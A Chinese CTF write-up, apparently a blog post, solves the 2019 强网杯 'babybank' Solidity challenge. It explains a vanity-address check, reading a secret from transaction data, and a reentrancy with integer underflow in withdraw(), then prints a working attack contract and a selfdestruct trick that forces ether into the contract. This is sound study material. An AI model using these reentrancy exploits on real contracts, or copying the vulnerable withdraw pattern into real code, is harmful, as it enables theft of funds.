前言

开始学习区块链的安全问题,先从这道比较简单的区块链题目入手,学习一波。

WP

源码:

pragma solidity ^0.4.23;contract babybank {mapping(address => uint) public balance;mapping(address => uint) public level;address owner;uint secret;//Don't leak your teamtoken plaintext!!! md5(teamtoken).hexdigest() is enough.//Gmail is ok. 163 and qq may have some problems.event sendflag(string md5ofteamtoken,string b64email); constructor()public{owner = msg.sender;}//pay for flagfunction payforflag(string md5ofteamtoken,string b64email) public{require(balance[msg.sender] >= 10000000000);balance[msg.sender]=0;owner.transfer(address(this).balance);emit sendflag(md5ofteamtoken,b64email);}modifier onlyOwner(){require(msg.sender == owner);_;}//challenge 1 function profit() public{require(level[msg.sender]==0);require(uint(msg.sender) & 0xffff==0xb1b1);balance[msg.sender]+=1;level[msg.sender]+=1;}//challenge 2function set_secret(uint new_secret) public onlyOwner{secret=new_secret;}function guess(uint guess_secret) public{require(guess_secret==secret);require(level[msg.sender]==1);balance[msg.sender]+=1;level[msg.sender]+=1;}//challenge 3function transfer(address to, uint amount) public{require(balance[msg.sender] >= amount);require(amount==2);require(level[msg.sender]==2);balance[msg.sender] = 0;balance[to] = amount;}function withdraw(uint amount) public{require(amount==2);require(balance[msg.sender] >= amount);msg.sender.call.value(amount*100000000000000)();balance[msg.sender] -= amount;}
}

目前我还不知道区块链的题目应该怎么复现,所以在本地Remix上试的时候就去除了得到flag的代码和一部分代码,只保留在本地可以复现成功的代码。
代码不算长,大致看一下,想要得到flag需要balance[msg.sender] >= 10000000000,而且差不多有3个challenge,首先是这个:

    function profit() public{require(level[msg.sender]==0);require(uint(msg.sender) & 0xffff==0xb1b1);balance[msg.sender]+=1;level[msg.sender]+=1;}

&是相同为0,不同为1,因此这部分要求msg.sender以0xb1b1结尾,第一次做区块链的题目确实没啥思维了,接下来就是从大师傅们的WP上学习东西。
有这么一个网站,可以生成指定前缀或者后缀的ETC地址账号:
https://vanity-eth.tk/
因此先利用这个工具生成个账号,再去profit函数就可以了:

然后就是这里:

    function set_secret(uint new_secret) public onlyOwner{secret=new_secret;}function guess(uint guess_secret) public{require(guess_secret==secret);require(level[msg.sender]==1);balance[msg.sender]+=1;level[msg.sender]+=1;}

说白了就是需要传的guess_secret和owner传的new_secret一样。又学习到了,就是去看合约的交易信息:

注意到下面的Input Data的参数,非常的眼熟了,就是我昨天刚学习的函数选择器及参数编码那部分的知识。
本地复现一下就可以知道:

 bytes4 public selector1= bytes4(this.set_secret.selector);


前面的0x8e2a219e就是函数签名了,因此后面的000000000000000000000000000000000000000000000000000000000001e240就是传入的参数经过编码后的结果,因为是uint256类型,因此直接1e240进行16进制解码就得到123456(这里是我本地复现的,所以就是模拟输入了个值)。

然后就到了最终的利用处了:

    function transfer(address to, uint amount) public{require(balance[msg.sender] >= amount);require(amount==2);require(level[msg.sender]==2);balance[msg.sender] = 0;balance[to] = amount;}function withdraw(uint amount) public{require(amount==2);require(balance[msg.sender] >= amount);msg.sender.call.value(amount*100000000000000)();balance[msg.sender] -= amount;}

关键的漏洞函数就是withdraw这个函数,需要amount为2,而且当前账号的余额要大于等于2。这样就会触发这两行代码:

msg.sender.call.value(amount*100000000000000)();
balance[msg.sender] -= amount;

一行是重入攻击,一行是整形下溢出。首先是call那里利用重入攻击,如果msg.sender本身就是一个合约的话,在转账的时候会调用那个合约的fallback函数。
这时候如果构造一个恶意的合约,在它的fallback函数里面再次调用一次题目中的withdray函数,这样就相当于调用了2次withdraw,经过了2次balance[msg.sender] -= amount;。第一次是2-2,第二次是0-2,实现整形下溢出,变成很大的一个数字,这样就可以实现balance[msg.sender] >= 10000000000

还有一个问题就是,题目的合约本身是没有ETH的,因此也就是说没法调用call。因此需要我们给合约转钱才行。但是代码里并没有可以赚钱的函数,这里又学到一点,利用自杀函数来帮助我们强制转账。

我们知道selfdestruct(0xd630cb8c3bbfd38d1880b8256ee06d168ee3859c);语句可以帮助我们销毁合并并将合约中的钱全部转到括号中的地址内。

因此可以利用这种销毁合约的方式来强制转账。
写个合约:

contract feng {function kill() public payable {selfdestruct(address(0x3E44E3d7Ecf4500179a132B8dD3FeC182Ed4a1F4));}constructor() public payable{}}

在deploy的时候向它转0.3ETH。

然后销毁。就可以强制向那个合约里转0.3ETH。(其实0.2也行)
接着就连着上面的,写个攻击合约:

pragma solidity ^0.4.24;contract feng {function kill() public payable {selfdestruct(address(0x3E44E3d7Ecf4500179a132B8dD3FeC182Ed4a1F4));}constructor() public payable{}}
interface BabybankInterface {function withdraw(uint256 amount) external;function profit() external;function guess(uint256 number) external;function transfer(address to, uint256 amount) external;function payforflag(string md5ofteamtoken, string b64email) external;
}
contract attack {BabybankInterface private bank = BabybankInterface(0x3E44E3d7Ecf4500179a132B8dD3FeC182Ed4a1F4);bool flag = false;function() external payable{require(flag==false);flag=true;bank.withdraw(2);}function att() public {bank.withdraw(2);}
}

攻击之前,利用b1b1结尾的那个账号调用transfer函数,把2块钱转到我们这个攻击合约上。
然后攻击合约再调用att:

调用完之后再看一下账号的余额,发现下溢出成功:

然后再调用payforflag就可以了(因为是本地复现,就没考虑后面这些了)。

2019 强网杯 babybank相关推荐

  1. 2019强网杯 - 密码学-RSA-Coppersmith

    Coppersmith 相关攻击 学习资料: https://ctf-wiki.github.io/ctf-wiki/crypto/asymmetric/rsa/rsa_coppersmith_att ...

  2. 2019强网杯crypto writeup

    本次write包含以下题目 copperstudy randomstudy 强网先锋-辅助 copperstudy 题目描述 nc 119.3.245.36 12345 连上去返回 [+]proof: ...

  3. 实战:2019 强网杯 final Web Writeup

    前言 强网杯线下赛打的非常happy也非常累,感觉这种赛制非常有意思,早就厌倦了web的AD,这种cms的0/1day的挖掘非常带劲,就是和0ctf连着打,感觉命都没了. 线下赛共有3道web,分别是 ...

  4. 强网杯2019 Copperstudy

    强网杯2019 Copperstudy 靶机:node4.buuoj.cn:29678 第一次见靶机的题,找题目找了半天

  5. BUUCTF Web [强网杯 2019]随便注

    「作者主页」:士别三日wyx   此文章已录入专栏<网络攻防>,持续更新热门靶场的通关教程 「未知攻,焉知收」,在一个个孤独的夜晚,你完成了几百个攻防实验,回过头来才发现,已经击败了百分之 ...

  6. [强网杯 2019]随便注 —— 堆叠注入

                           [强网杯 2019]随便注 前言        个人观点,若有误请指教 解题思路及步骤 直接上'引号,结果直接报错了,证明存在sql注入漏洞. 判断当前表 ...

  7. 强网杯2019(高明的黑客强网先锋上单)

    强网杯2019(高明的黑客&强网先锋上单) 前言 这里主要是对强网杯web中高明的黑客和上单两道题进行一个复现回顾 再次感谢大佬提供的场景复现:https://www.zhaoj.in/rea ...

  8. [强网杯 2019]随便注 1

    题目[强网杯 2019]随便注 1 题目来源:https://buuoj.cn/challenges#[%E5%BC%BA%E7%BD%91%E6%9D%AF%202019]%E9%9A%8F%E4% ...

  9. buuctf [强网杯 2019]随便注 1

    buuctf web [强网杯 2019]随便注 1 -刷题个人日记 小白一个,写给自己看. 打开后是这样. 从题目和内容来看就是一道sql注入题. 输入 1' or 1=1;# 这个#用来注释掉后面 ...

  10. BUUCTF [强网杯 2019]随便注

    题目 打开环境发现是经典的提交界面 老规则还是查询注入点,1 or 1 =1#,1' order by 1#都未出错,但是1' union select 1,2#是出现了错误,发现一些查询语句被过滤了 ...

最新文章

  1. Fedora中安装 Shutter步骤介绍
  2. java array arraylist_java 基础 array arraylist..越详细越好。
  3. java域对象_javaWeb域对象
  4. 利用树求解算术表达式的值
  5. 【C/C++多线程编程之九】pthread读写锁
  6. mysql sql%rowcount_sql%rowcount 返回影响行数
  7. 1,2,2,3,3,4,4,4,......
  8. [转](转载+整理)超详细的cmake教程
  9. 软件测试之SOL面试题(一)
  10. 浅谈Java新手入门书籍选择
  11. Hive实现笛卡尔积
  12. 基于K—近邻的车牌号识别小实验
  13. MSM8937平台bootloader调试之一
  14. 为什么抖音网红城市都在西部?
  15. C语言实现图的关键路径算法
  16. 通信协议之IIC总线
  17. 美国经济数据公布时间
  18. 计算机在信息处理中的作品用,计算机信息处理技术在办公自动化中的运用
  19. 请问java如何跟isapi通讯,代码怎么实现?
  20. 从前慢-Shiro和JWT

热门文章

  1. 计算机职称photoshop,职称计算机考试photoshop核心通关技巧
  2. service mesh:istio全
  3. 正则表达式 -验证身份证号
  4. Android项目编码规范
  5. 高级JAVA工程师的岗位职责,岗位要求
  6. 开发过程中沟通的重要性
  7. 大前端学习工具及网站大全
  8. STM32L476应用开发之七:流量的PID控制
  9. 【盘点】2018最受欢迎的网页设计软件集合!
  10. 聊聊运营商对UDP的QoS限制和应对